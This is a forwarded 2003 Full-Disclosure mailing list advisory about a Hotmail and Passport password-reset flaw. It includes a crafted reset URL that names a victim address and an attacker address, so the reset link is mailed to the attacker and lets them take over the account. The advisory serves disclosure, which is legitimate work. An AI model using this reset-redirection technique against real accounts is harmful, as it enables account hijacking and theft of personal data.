[Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability (fwd)

[Dan Hanson <dhanson () securityfocus com>]

I am forwarding this as it may impact people whom depend on MSN or
passport systems for business reasons. Contrary to what at
least one of the full-disclosure follow-ups reports, it does work.

Hotmail & Passport (.NET Accounts) Vulnerability

There is a very serious and stupid vulnerability or badcoding in Hotmail / Passport’s (.NET Accounts)

I tried sending emails several times to Hotmail / Passport contact addresses, but always met with the NLP bots.

I guess I don’t need to go in details of how cruical and important Hotmail / Passport’s .NET Account passport is to 
anyone.

You name it and they have it, E-Commerce, Credit Card processing, Personal Emails, Privacy Issues, Corporate Espionage, 
maybe stalkers and what not.

It is so simple that it is funny.

All you got to do is hit the following in your browser:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim () hotmail com&id=&cb=&prefem=attacker () attacker 
com&rst=1

And you’ll get an email on attacker () attacker com asking you to click on a url something like this:

http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033

> From that url, you can reset the password and I don’t think I need to say anything more about it.

Vulnerability / Flaw discovered         :       12th April 2003
Vendor / Owner notified         :       Yes (as far as emailing them more than 10 times is concerned)
